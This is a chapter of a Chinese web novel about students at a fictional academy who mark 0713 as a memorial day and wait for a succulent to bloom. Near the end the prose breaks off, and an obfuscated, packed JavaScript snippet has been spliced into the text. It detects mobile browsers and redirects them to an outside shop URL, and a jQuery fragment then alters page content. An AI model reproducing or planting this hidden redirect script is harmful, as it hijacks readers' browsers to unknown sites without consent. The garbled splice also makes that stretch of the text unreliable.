第二十章：守望者海域·0713与等待终期的花
---
【周五·清晨·五点四十分·蜃楼学园·广播站】
唐棠把话筒推近一厘米。
今天是她最后一次以“临时播音员”的身份坐在这个位置。
下周开始，广播站会有正式的排班表。
她的名字会和其他七个人排在一起。
——不是因为她资历最老。
——是因为她“把过去七年捋清楚了”。
林鹿鸣说的。
她至今不知道这是夸奖还是吐槽。
但她收下了。
她清了清嗓子。
“蜃楼学园的各位老师、同学，早上好。”
“今天是12月18日，周五。”
“守望者计划启动第七天。”
“距离0713还有207天。”
“——但有些人，已经提前收到生日礼物了。”
她顿了顿。
“今天早上六点，行政楼校董会将对‘守望者日’提案进行最终表决。”
“联名信数量：2047封。”
“——正好是守望者海域此刻的在线人数。”
“发起人说这是巧合。”
“我不信。”
她把音量推大了一点。
“不管表决结果如何——”
“0713已经被写进很多地方了。”
“周湛的日历。”
“靳朕的笔记本。”
“刘阿姨的档口牌背面。”
“门卫室日志的第137页。”
“还有——”
她顿了一下。
“渊和沈悸冥那张毕业照的右下角。”
「0713·站进来了」
“——”
“所以今天。”
“不是等待结束的日子。”
“是等待被记住的日子。”
“——”
“以上。”
“我是高一三班唐棠。”
“——守望者海域·临时播音员。”
“感谢收听。”
“——”
“下周见。”
---
【周五·清晨·六点零三分·行政楼·会议室】
校董会七位成员。
六位在线。
一位——沈闻山——坐在主位。
桌面上摊着那份联名信。
2047个名字。
打印出来四十七页。
第一页第一个名字：唐棠。
第一页最后一个名字：周湛。
中间那四十五页，全是没听过的人。
——没听过的人。
——但他们在等同一个日子。
沈闻山把联名信翻到最后一页。
空白处有一行手写备注。
不是唐棠的字迹。
是——
「赞成0713设立为守望者日。」
「——渊」
「附议：沈悸冥、方迟、程渊、陈熠、靳朕、孟萌、陆微、林鹿鸣、林小满、姜澄、洛知予、江野、周湛。」
「——以及，2047名联名者。」
沈闻山看了很久。
然后他放下联名信。
“投票吧。” 他说。
“——”
“赞成0713设立为守望者日的，举手。”
他第一个举起手。
三秒。
五秒。
第二位。
第三位。
第四位。
第五位。
第六位。
——六票赞成。
——零票反对。
——一票弃权。
弃权的那位董事，是靳娴。
她没有举手。
也没有反对。
她只是看着那四十七页联名信。
很久。
“……0713。” 她开口。
“是什么日子？”
沈闻山看着她。
“三年前——” 他说。
“陈熠把靳朕的处理器搞宕机的日子。”
靳娴愣了一下。
“……宕机？”
“嗯。” 沈闻山说。
“系统日志是这么写的。”
“——”
「样本██处理器负载峰值突破上限。」
「原因：未知。」
「持续时间：23秒。」
「——」
「备注：这是该样本首次出现非任务指令触发的高负载状态。」
「后续研究建议：保留0713观测记录，持续追踪。」
靳娴沉默了很久。
久到窗外那棵梧桐树的影子，从东窗挪到南窗。
“……他那天。” 她问。
“遇到什么了？”
沈闻山没有回答。
他把联名信往前翻。
翻到第三页。
「0713。」
「三年前的这天，有人删掉了我。」
「——周湛」
「0713。」
「他第一次叫我‘样本M-001’。」
「——孟萌」
「0713。」
「雨天，实验室走廊，他撞翻了笔记本。」
「他说：对不起。」
「我说：没关系。」
「——靳朕」
靳娴看着那行字。
很久。
“……他学会说没关系了。” 她说。
“——”
“三年前。”
“——”
“我不知道。”
沈闻山没有说话。
他把联名信合上。
“0713。” 他说。
“——”
“不是他宕机的日子。”
“——”
“是他开始在乎人的日子。”
---
【周五·上午七点十七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
今天的第一份意面，她给了周湛。
——他昨晚说今天六点来帮忙洗锅。
——他真的六点来了。
——锅洗得很干净。
——比她自己洗得还干净。
“……疗养院还教这个？” 她问。
“不教。” 周湛说。
“——”
“自学的。”
“——”
“没事干的时候。”
“——”
“把所有能洗的东西都洗了一遍。”
刘金凤没有说话。
她把意面捞起来。
酱汁浇上去。
肉末。
番茄。
一点罗勒叶。
——面条煮得刚刚好。
——不软不硬。
——有嚼劲。
“——”
“今天这个硬度。” 周湛说。
“——”
“刚好是我喜欢的。”
刘金凤没有回头。
“嗯。” 她说。
“——”
“记了三天。”
“——”
“昨天软，今天硬。”
“——”
“明天——”
“你喜欢的那个硬度。”
“——”
“不用调了。”
周湛端着那盘意面。
站在窗口前面。
很久。
“……谢谢阿姨。” 他说。
“不谢。” 刘金凤说。
“——”
“锅洗得很干净。”
“——”
“抵三天面钱。”
---
【周五·上午九点整·中央广场】
全息屏亮了一下。
不是推送。
是表决结果。
「关于将7月13日设立为“守望者日”的提案」
「校董会表决：6票赞成，0票反对，1票弃权」
「决议：通过」
「生效时间：即时」
「备注：2027年7月13日为首个守望者日，届时将举行纪念活动」
「——」
「附：联名信全文（共2047人）已存档于校史馆第二展厅」
「开放时间：周一至周五 9:00-17:00」
「欢迎参观」
广场上安静了三秒。
然后——
“通过了！！！”
“2047个人！真的通过了！”
“0713是法定纪念日了！”
“不是法定，是校定。”
“那也是纪念日！”
“以后每年7月13日放假吗？”
“校历还没出……”
“我现在就写信建议放假！”
“你高一吧？校历是校长定的。”
“那我给校长写信！”
“……你写。”
“——”
“我帮你寄。”
——
人群边缘。
孟萌站在那棵梧桐树下。
他看着全息屏上那行字。
「生效时间：即时」
——从这一刻起。
——0713不再只是靳朕的密码。
——不再只是雨天的走廊。
——不再只是那部旧手机锁屏上、他自己刻进去的纪念日。
——是所有人的纪念日。
手机震了一下。
「样本M-001。」
「嗯。」
「0713。」
「——」
「存了。」
「——」
「不用一万条。」
「这一条就够了。」
孟萌看着那行字。
三秒。
五秒。
他慢慢输入：
「那分类算法还写不写了？」
对方正在输入。
很久。
「写。」
「——」
「等陈熠有空。」
孟萌愣了一下。
「他什么时候有空？」
「不知道。」
「——」
「他在等花。」
「——」
「花开了。」
「他就有空了。」
孟萌沉默了三秒。
「什么花？」
「周湛养的那盆。」
「——」
「养了两年七个月。」
「没开过。」
「——」
「护士说这个品种不开花。」
「——」
「周湛不信。」
「——」
「陆微不信。」
「——」
「方迟不信。」
「——」
「陈熠也不信。」
「——」
「所以它会开的。」
孟萌看着那行字。
他忽然想起来——
靳朕的“未知”文件夹里，存着51条“样本M-001·非理性善意输入”。
陈熠说，存满一万条的时候，他来写分类算法。
靳朕没有问“为什么要你来写”。
也没有问“万一存不满呢”。
他只是说：
「嗯。」
「——」
「等你。」
——他也在等花。
——等那盆养了两年七个月、一次都没开过的多肉。
——等周湛相信它会开。
——等陈熠有空。
——等分类算法写完。
——等一万条善意输入被整整齐齐地归档。
——等0713成为所有人都会记得的日子。
——等孟萌夹给他的牛肉，从编号051涨到编号052。
——他在等。
——但他从来不催。
因为等待本身，就是一种爱。
---
【周五·上午十点十七分·旧音乐厅门口】
陆微今天没睡觉。
——他请了假。
——不是病假。
——是“我要去确认一件事”假。
风纪委员长请假不需要理由。
但他在请假条上写了。
「事由：去看一盆多肉。」
「预计时长：17分钟」
「——」
「回来补觉。」
他站在台阶前。
那盆多肉还在。
——叶尖上又有水。
——周湛今天来过了。
——方迟也来过了。
——程渊说他爸昨晚也来过。
——沈悸冥说他只是路过。
——路过三分钟。
——浇了水。
——走了。
陆微蹲下来。
他看着那盆多肉。
“……今天很多人来看你。” 他说。
“——”
“周湛。”
“方迟。”
“渊。”
“沈悸冥。”
“——”
“还有我。”
多肉沉默着。
叶片在风里轻轻晃。
“——”
“你知道为什么吗？”
多肉没有回答。
“——”
“因为今天是表决日。”
“——”
“0713通过了。”
“——”
“大家都在等。”
“——”
“等一个可以纪念的日子。”
“——”
“等一个值得被记住的人。”
“——”
“等你开花。”
“——”
“——其实你不是花。”
“——”
“你是他们等的人。”
“——”
“寄给彼此的信。”
“——”
“不敢说出口的话。”
“——”
“存了七年的毕业照。”
“——”
“三年前没发出去的消息。”
“——”
“昨晚忘了浇的水。”
“——”
“今天补上了。”
他站起来。
拍拍膝盖上的灰。
“……我困了。” 他说。
“——”
“回去睡觉。”
“——”
“明天再来。”
他走了。
走了两步。
又停下来。
“……对了。”
他回头。
“——”
“刘阿姨说——”
“食堂今天供应特调奶茶。”
“——”
“配方是方迟提供的。”
“——”
“他说这是渊七年前最喜欢的口味。”
“——”
“沈悸冥说渊喜欢的是冻奶茶，不是热饮。”
“——”
“渊说都好。”
“——”
“方迟说那做两杯。”
“——”
“刘阿姨说锅不够。”
“——”
“沈悸冥说那就一杯冻的一杯热的。”
“——”
“渊说他喝冻的。”
“——”
“沈悸冥说那热的给他。”
“——”
“方迟说那我呢。”
“——”
“程渊说你不是不喝奶茶吗。”
“——”
“方迟说我现在想喝了。”
“——”
“刘阿姨说你们到底几个人喝。”
“——”
“沈悸冥说四个。”
“——”
“渊说三个。”
“——”
“方迟说四个。”
“——”
“程渊说五个。”
“——”
“陈熠路过，说六杯。”
“——”
“靳朕说七杯。”
“——”
“孟萌说七杯谁喝得完。”
“——”
“靳朕说钠含量0.32%。”
“——”
“刘阿姨说那不是意面是奶茶。”
“——”
“靳朕说……”
陆微顿了一下。
“他说了什么来着。”
多肉沉默着。
“——”
“算了。” 陆微说。
“——”
“总之明天有奶茶喝。”
“——”
“冻的。”
“——”
“热的。”
“——”
“七杯。”
“——”
“你想喝哪种？”
多肉没有回答。
陆微等了三秒。
然后他点点头。
“——”
“那就都来一杯。”
“——”
“反正也喝不完。”
“——”
“浇花。”
---
【周五·中午十二点零七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
今天不是意面。
今天是——
「守望者海域·特调奶茶」
「配方提供：方迟」
「技术指导：渊」
「品控：沈悸冥」
「设备支援：程渊」
「后勤保障：周湛」
「——」
「口味：冻奶茶（原味）」
「口味：热奶茶（加糖）」
「——」
「价格：前七杯免单」
「第8杯起：3元/杯」
「——」
「（超过七杯的部分，需自行解决容器问题）」
队伍从窗口排到了门口。
今天不是一百九十七份。
是——
刘金凤没数。
她只知道锅不够用了。
杯子也不够用了。
吸管也不够用了。
——三年了。
——她第一次觉得，食堂太小了。
——
渊端着那杯冻奶茶。
站在二号窗门口。
沈悸冥站在他旁边。
手里端着那杯热的。
“……好喝吗？” 沈悸冥问。
“嗯。”
“和七年前一样？”
“一样。”
“——”
“方迟没记错配方。”
沈悸冥没有说话。
他低头喝了一口热的。
——太甜了。
——方迟肯定把糖放多了。
——但他没说出来。
——因为渊说“一样”。
——那就一样。
——
方迟站在队伍里。
他前面还有三十七个人。
程渊站在他旁边。
“……你不是不喝奶茶吗？” 程渊问。
“现在想喝了。”
“为什么？”
方迟沉默了三秒。
“——”
“因为你爸七年前最喜欢这个。”
“——”
“我记了七年。”
“——”
“今天终于有人做出来了。”
“——”
“不喝一杯。”
“——”
“对不起那七年。”
程渊没有说话。
他把自己的那杯冻奶茶递过去。
“你先喝我的。” 他说。
“——”
“我排着。”
“——”
“下一杯。”
“——”
“还你。”
方迟低头看着那杯奶茶。
杯壁上凝着细密的水珠。
一滴一滴往下滑。
“……谢谢。” 他说。
“不谢。” 程渊说。
“——”
“你帮我爸记了七年。”
“——”
“我帮你还一杯奶茶。”
“——”
“应该的。”
——
周湛站在后厨。
他今天没排队。
他今天负责洗碗。
——刘阿姨说，这是奶茶特供日的专属岗位。
——他说好。
——他把洗好的杯子一只一只码在架子上。
——码得很整齐。
——像他在疗养院那九百三十七天，每天早晨整理床头柜那样。
刘金凤从灶台边探出头。
“累不累？” 她问。
“不累。”
“——”
“以前在疗养院。”
“——”
“一天洗三百个盘子。”
“——”
“今天才八十个。”
刘金凤没有说话。
她把锅里最后一杯奶茶盛出来。
递给周湛。
“喝。” 她说。
“——”
“八十一个。”
“——”
“满一百再歇。”
周湛低头看着那杯奶茶。
——冻的。
——杯壁上凝着水珠。
——和他七年前在校门口那家茶餐厅喝过的，一模一样。
“……谢谢阿姨。” 他说。
“不谢。” 刘金凤说。
“——”
“杯子洗得很干净。”
“——”
“抵奶茶钱。”
---
【周五·下午两点零三分·高二三班·教室】
下午第一节是自习。
孟萌趴在桌上。
不是困。
是饱。
——中午喝了两杯奶茶。
——一杯是靳朕递过来的。
——一杯是陈熠递过来的。
——两个人同时递，他不知道接谁的。
——最后他接了靳朕那杯。
——因为靳朕说：“钠含量0.32%。”
——陈熠在旁边说：“奶茶没有钠。”
——靳朕说：“有。”
——陈熠说：“没有。”
——靳朕把手机屏幕转向他。
——是食品成分表。
——陈熠沉默了。
——孟萌趁机把那杯奶茶喝完了。
他至今不知道那杯奶茶到底是靳朕想给他喝的，还是只是用来证明“奶茶有钠”的道具。
——这不重要。
——重要的是他喝了两杯。
——现在撑得想睡。
手机震了一下。
「样本M-001。」
「嗯。」
「今日奶茶摄入量：600ml」
「——」
「超过推荐日摄入量200ml」
「——」
「建议：晚餐清淡。」
孟萌看着那行字。
他慢慢输入：
「你是在担心我。」
对方已读。
三秒。
「——」
「是在观测。」
「——」
「担心是观测的子集。」
孟萌愣了一下。
「什么时候学的？」
对方正在输入。
很久。
「样本C-000教的。」
「——」
「他说：观测是陈述事实。」
「担心是陈述事实之后——」
「不想让那个事实发生。」
「——」
「所以今天。」
「你摄入600ml。」
「——」
「这是观测。」
「——」
「建议你晚餐清淡。」
「——」
「这是担心。」
孟萌看着那行字。
三秒。
五秒。
他把手机按灭。
塞进口袋。
——他的耳尖又红了。
——但他这次没有低头。
——他看着窗外。
——嘴角弯着。
——和靳朕昨天吃他夹的牛肉时，一模一样。
---
【周五·下午三点四十七分·旧音乐厅门口】
周湛站在台阶前。
那盆多肉还在。
——叶尖上又有水。
——今天谁来过了？
——他不知道。
——但他知道。
——有人替他守着这盆花。
他蹲下来。
看着那盆多肉。
“……今天。” 他说。
“——”
“0713通过了。”
“——”
“以后每年今天。”
“都是纪念日。”
“——”
“纪念——”
“你还没开花的日子。”
他顿了顿。
“——”
“护士说你不开。”
“——”
“我们都不信。”
“——”
“所以——”
“你开吧。”
“——”
“不用很大。”
“——”
“一朵就行。”
“——”
“粉色的。”
“——”
“像你刚来那天。”
“——”
——疗养院，秋天，窗台上，一盆绿油油的多肉。
——护士说这是别人出院留下的，没人领。
——他说那我养。
——护士说这个品种不开花。
——他说没关系。
——他说我养花不是为了看花。
——他说是为了等。
——等有人来领它。
——等有人来领他。
——等了两年七个月。
——没人来。
——他自己走了。
——带着这盆花。
——走到今天。
他站起来。
拍拍膝盖上的灰。
“……我走了。” 他说。
“——”
“明天再来。”
他转身。
走了两步。
又停下来。
他没有回头。
但他站在那里。
很久。
久到夕阳把他的影子拉得很长。
“……你是不是——” 他开口。
“——”
“快开了？”
多肉沉默着。
晚风从檐角穿过。
把它的叶片吹得轻轻晃动。
——像在点头。
---
【周五·傍晚十七点四十七分·校门口】
老张把第九杯茶倒进保温杯盖。
今天日志写得很满。
「06:00，校董会投票。」
「06:17，0713通过。」
「07:03，周湛在食堂洗锅。」
「09:00，全息屏公布结果。」
「10:17，陆微去看花。」
「12:07，奶茶特供。」
「13:30，方迟喝到了七年前那杯。」
「14:03，程渊说下一杯他还。」
「15:47，周湛在旧音乐厅等花。」
「——」
「花没开。」
「但快了。」
「——」
「17:03，沈悸冥和渊从食堂出来。」
「并肩。」
「手里都端着奶茶。」
「——」
「冻的。」
「热的。」
「——」
「七年了。」
「终于一起喝了。」
「——」
「17:47，周湛站在门口。」
「没走。」
「——」
「他在等人。」
「——」
「等那盆花。」
「——」
「花在校内。」
「他在门口。」
「——」
「隔着半个校园。」
「也在等。」
老张放下笔。
端起茶杯。
他看着窗外。
周湛站在门卫室门口。
不是要出去。
也不是要进来。
就是站着。
老张没有问“等谁”。
也没有问“等到没有”。
他只是把茶杯放下。
“……今天奶茶好喝吗？” 他问。
“好喝。” 周湛说。
“——”
“冻的。”
“——”
“方迟记的配方。”
“——”
“和七年前一样。”
老张点点头。
“那明天还喝吗？” 他问。
“喝。”
“——”
“刘阿姨说特供到下周。”
“——”
“过了下周。”
“就没了。”
“——”
“所以明天还喝。”
老张没有说话。
他把茶杯盖拧紧。
“那花呢？” 他问。
“——”
“明天还等吗？”
周湛沉默了很久。
久到夕阳从金色变成深紫色。
“……等。” 他说。
“——”
“等到它开。”
“——”
“护士说它不开。”
“——”
“我不信。”
“——”
“陆微也不信。”
“——”
“方迟也不信。”
“——”
“陈熠也不信。”
“——”
“靳朕没有表态。”
“——”
“但他路过的时候。”
**“——”
“浇了水。”
老张看着他。
“……那你呢？” 他问。
“——”
“你信吗？”
周湛把手伸进口袋。
摸出那封折成方块的、渊写给他的信。
展开。
看了一遍。
「恨完了，记得回来。」
「——」
「这里的英语课，还在第三单元。」
「你落了三年的进度，得自己补。」
他把信折起来。
放回口袋。
“信。” 他说。
“——”
“等它开。”
---
【周五·晚十九点零三分·食堂二号窗】
刘金凤把档口牌翻过来。
「今日特供·最后一杯」
「——」
「冻奶茶」
「——」
「给还没喝到的人」
窗口只开了一盏灯。
队伍里没有人。
周湛站在窗口前面。
“……最后一杯了。” 他说。
“嗯。”
“没人来喝？”
“嗯。”
“——”
“那我喝了。”
“嗯。”
他端起那杯奶茶。
没有走到靠窗的位置。
他站在窗口前面。
低头。
喝了一口。
——冻的。
——杯壁上凝着水珠。
——和七年前那杯，一模一样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218665|197471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他喝完。
把杯子放回回收处。
“……阿姨。” 他说。
“嗯？”
“明天——” 他问。
“还有奶茶吗？”
刘金凤没有回头。
“没了。” 她说。
“——”
“特供结束。”
“——”
“明天恢复意面。”
周湛沉默了几秒。
“……那我明天还来。” 他说。
“——”
“吃意面。”
刘金凤没有说话。
她把灶台擦完了。
抹布挂好。
“几点？” 她问。
“六点。”
“——”
“帮你洗锅。”
刘金凤没有回头。
但她擦灶台的动作，停了半拍。
“……锅今天洗过了。” 她说。
“——”
“明天再洗。”
“——”
“六点。”
“——”
“等你。”
---
【周五·晚二十二点零三分·男生宿舍·楼道】
周湛站在宿舍门口。
他没有进去。
他靠在门框上。
看着走廊那盏日光灯。
——一闪一闪。
——和陆微说的一样。
——和陆微说的一模一样。
他站了很久。
然后隔壁的门开了。
方迟探出头。
“……你站这干嘛？” 他问。
“等人。” 周湛说。
“等谁？”
“等你。”
方迟愣了一下。
“……今天不是等过了吗。” 他说。
“上午。”
“旧音乐厅。”
“——”
“你去看花。”
“——”
“我也去看花。”
“——”
“等了十七分钟。”
“——”
“花没开。”
“——”
“你说快了。”
“——”
“我说嗯。”
“——”
“这不是等过了吗。”
周湛看着他。
“那是等花。” 他说。
“——”
“现在是等人。”
方迟没有说话。
他靠在门框上。
和周湛隔着六十厘米的走廊。
“……等谁？” 他问。
“等你。” 周湛说。
“——”
“等你问我——”
“花开了没。”
方迟沉默了很久。
久到那盏日光灯闪了三下。
然后他开口：
“花开了没？”
周湛把手伸进口袋。
摸出手机。
打开相册。
翻到下午拍的那张照片——
旧音乐厅，台阶边，那盆多肉。
叶片绿油油的。
叶尖有一小朵——
很小。
粉色的。
——花苞。
——确实是花苞。
他把手机屏幕转向方迟。
“——”
“快了。”
方迟低头看着那张照片。
三秒。
五秒。
然后他笑了。
——很轻。
——像那朵还没开的花。
“……护士说这个品种不开花。” 他说。
“嗯。”
“你们都不信。”
“嗯。”
“——”
“现在我也信了。”
周湛没有说话。
他把手机收起来。
“——”
“明天。” 他说。
“——”
“应该就开了。”
“——”
“你来不来？”
方迟看着他。
“几点？” 他问。
“六点。”
“——”
“先去食堂。”
“——”
“帮刘阿姨洗锅。”
“——”
“洗完锅。”
“——”
“去看花。”
方迟沉默了三秒。
“……我六点起不来。” 他说。
“那你几点起？”
“七点。”
“——”
“七点二十。”
“——”
“如果前一天没睡好的话。”
“——”
“七点四十。”
周湛看着他。
“那你明天几点起？” 他问。
方迟想了想。
“……六点。” 他说。
“——”
“可以设闹钟。”
“——”
“三个。”
“——”
“五分钟一次。”
“——”
“总有一个会响。”
周湛没有说话。
他把手伸进口袋。
摸出那封折成方块的、方迟写给他的信。
展开。
看了一遍。
「周湛那盆多肉，今天浇水了。」
「——」
「你送去旧音乐厅那盆。」
「他去看过了。」
「——」
「他说：阳光很好。」
「土也换了。」
「——」
「应该快开了。」
「——」
「你信吗？」
他把信折起来。
放回口袋。
“信。” 他说。
“——”
“等你来。”
---
【周五·晚二十三点四十七分·旧音乐厅门口】
月光很好。
那盆多肉静静地立在台阶边。
叶尖那朵粉色的花苞，比下午又大了一点点。
——很小。
——不仔细看都发现不了。
——但它确实在那里。
——等着明天，有人来看它。
脚步声从远处传来。
很轻。
像怕吵醒谁。
一个人蹲下来。
他看着那盆多肉。
很久。
然后他把手伸进口袋。
摸出一张折成方块的便签纸。
展开。
上面只有一行字。
「明天六点，食堂见。」
「——」
「周湛」
他把便签纸折起来。
放回口袋。
然后他站起来。
看着那朵花苞。
“……你听见了。” 他说。
“——”
“明天有人来。”
“——”
“很多人。”
“——”
“周湛。”
“方迟。”
“陆微。”
“陈熠。”
“靳朕。”
“孟萌。”
“——”
“还有我。”
“——”
“所以你快开。”
“——”
“不然我们七个——”
“会显得很傻。”
多肉没有回答。
月光照在它的叶片上。
那朵粉色的花苞——
轻轻动了一下。
——
【尾声·周六·清晨·五点四十七分】
天还没亮透。
旧音乐厅门口站着七个人。
周湛。
方迟。
陆微。
陈熠。
靳朕。
孟萌。
——还有一盆多肉。
——第七个人。
陆微困得快站不住了。
但他没睡。
他盯着那盆多肉。
“……开了吗？” 他问。
“还没。” 周湛说。
“——”
“快了。”
陆微揉揉眼睛。
“你昨晚说快了。” 他说。
“——”
“今天还快？”
“——”
“快多久了？”
周湛没有说话。
他看着那朵花苞。
——比昨晚又大了一点。
——粉色。
——很小。
——但确实是花苞。
“……快了。” 他说。
“——”
“就是快开了。”
“——”
“不是还没开。”
“——”
“是快开了。”
陆微沉默了三秒。
“……这不还是一样吗。” 他说。
“不一样。” 周湛说。
“——”
“快开——”
“就是——”
“马上。”
“——”
“马上。”
“——”
“不是还没。”
陆微看着他。
很久。
然后他低下头。
“……行。” 他说。
“——”
“信你。”
“——”
“马上。”
“——”
“那就等马上。”
——
六点零三分。
第一缕阳光从旧音乐厅的穹顶天窗斜着切进来。
照在那盆多肉上。
照在那朵粉色的花苞上。
花苞轻轻晃了一下。
然后——
——开了。
很小。
很轻。
像一颗等了很久很久、终于等到有人来看它的眼泪。
——粉色的。
——刚好一朵。
——刚好在今天。
——刚好在所有人面前。
周湛蹲下来。
他看着那朵花。
很久。
然后他把手伸进口袋。
摸出那封折成方块的、渊写给他的信。
展开。
看了一遍。
「恨完了，记得回来。」
「——」
「这里的英语课，还在第三单元。」
「你落了三年的进度，得自己补。」
他把信折起来。
放回口袋。
然后他站起来。
“……开了。” 他说。
“——”
“等到了。”
——
【尾声·二】
【周六·清晨·六点十七分·食堂二号窗】
刘金凤把档口牌翻过来。
「营业中」
今天的第一份意面。
她留给了一个灰色运动服的男生。
他推门进来的时候，头发上还沾着清晨的露水。
“阿姨。” 他说。
“——”
“花开了。”
刘金凤没有回头。
她把意面捞起来。
酱汁浇上去。
肉末。
番茄。
一点罗勒叶。
——面条煮得刚刚好。
——不软不硬。
——有嚼劲。
——是他喜欢的那个硬度。
“嗯。” 她说。
“——”
“看到了。”
“——”
“粉色。”
“——”
“很小一朵。”
“——”
“但确实是开了。”
周湛端着那盘意面。
站在窗口前面。
很久。
“……谢谢阿姨。” 他说。
“不谢。” 刘金凤说。
“——”
“锅在池子里。”
“——”
“洗完再吃。”
“——”
“今天的面——”
“等你。”
---
【尾声·三】
【周六·清晨·六点四十七分·校门口】
老张把今天的第一杯茶倒进保温杯盖。
今天日志只有一行。
「06:47，周湛来门卫室还喷壶。」
「——”
「他说：花开了。」
「——”
「我问：什么颜色？」
「他说：粉色。」
「——”
「很小一朵。」
「——”
「但确实是开了。」
「——”
「我说：那明天还来借喷壶吗？」
「他说：来。」
「——”
「花还会开。」
「——”
「喷壶也要还。」
「——”
「——」
「这孩子。」
「等了三年。」
「回来第六天。」
「把花等开了。」
「——”
「明天他还会来。」
「借喷壶。」
「还喷壶。」
「——”
「后天也是。」
「大后天也是。」
「——”
「以后都是。」
「——”
「花会谢。」
「但他会来。」
「——”
「这就够了。」
---
【全文完】
【献给所有等过人的人——】
——也献给所有被人等过的人。
——0713快乐。
——花开了。
——你们可以回来了。
---
【番外预告】
《守望者海域·日常卷》
——靳朕的“未知”文件夹，还在持续扩容。
——孟萌的牛肉投喂，编号已突破60大关。
——陈熠说存满一万条就来写分类算法，目前进度0.6%。
——陆微今天睡了五次。林鹿鸣说这是历史新高。
——林小满每周二四六还是去二号窗排糖醋里脊。刘金凤说下周研发新口味。
——洛知予的新地图已经画到第十版。江野说再画下去可以出蜃楼学园美食攻略了。
——姜澄在给守望者计划写配套程序。沈闻山说这是她这学期最重要的项目。
——方迟和程渊的奶茶对账本，已经写到第三页。渊说他们开心就好。
——沈悸冥那盆小盆栽，还在喝咖啡。
——渊说它喝惯了。
——换水不喝。
——
——以及，旧音乐厅门口那盆多肉。
——开了第一朵花之后，第二朵还会远吗？
——
——周湛说：不远。
——
——他每天去看。
——方迟每天陪他去看。
——陆微每天路过的时候顺便浇个水。
——陈熠每天路过的时候顺便测一下土壤酸碱度。
——靳朕每天路过的时候顺便记一下数据。
——孟萌每天路过的时候顺便看一眼靳朕在记什么数据。
——
——没有人说“我在等”。
——但他们都在。
——
——这就是守望者海域的日常。
——也是这本书写完之后的，新故事。
---
【终章·完】
【献给所有读到这里的读者——】
——你们也是守望者。
——这片海，有你们的名字。
---
番外见。